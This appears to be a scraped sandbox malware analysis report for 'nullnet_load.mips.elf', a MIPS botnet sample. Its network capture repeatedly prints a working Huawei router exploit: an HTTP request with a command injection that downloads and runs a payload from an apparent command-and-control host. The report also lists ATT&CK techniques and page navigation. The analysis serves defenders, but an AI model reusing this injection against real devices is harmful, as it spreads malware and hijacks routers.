/tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	52412	197.8.90.91	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.309360981 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	37396	41.151.143.90	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.310050011 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	35424	197.219.201.144	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.310714960 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	33378	197.34.80.190	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:16.311400890 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: nullnet_load.mips.elf PID: 5564, Parent PID: 5479

General

Start time (UTC):	14:33:02
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.mips.elf
Arguments:	/tmp/nullnet_load.mips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	14:33:02
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	14:33:02
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	14:33:02
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	14:33:02
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	14:33:02
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	14:33:02
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nullnet_load.mips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: nullnet_load.mips.elf PID: 5564, Parent PID: 5479

General

Chronological Activities

Analysis Process: nullnet_load.mips.elf PID: 5567, Parent PID: 5564

General

Chronological Activities

Analysis Process: nullnet_load.mips.elf PID: 5569, Parent PID: 5564

General

Chronological Activities

Analysis Process: nullnet_load.mips.elf PID: 5571, Parent PID: 5569

General

Chronological Activities

Analysis Process: nullnet_load.mips.elf PID: 5572, Parent PID: 5569

General

Chronological Activities

Linux Analysis Report
nullnet_load.mips.elf